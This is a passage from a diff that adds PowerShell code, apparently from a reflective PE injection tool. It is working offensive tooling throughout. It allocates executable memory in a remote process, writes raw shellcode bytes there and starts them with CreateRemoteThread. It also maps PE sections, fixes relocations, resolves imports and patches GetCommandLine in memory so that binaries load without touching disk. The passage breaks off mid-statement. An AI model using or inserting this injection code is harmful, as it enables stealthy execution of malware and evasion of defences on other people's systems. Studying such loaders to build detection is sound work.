+ } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = 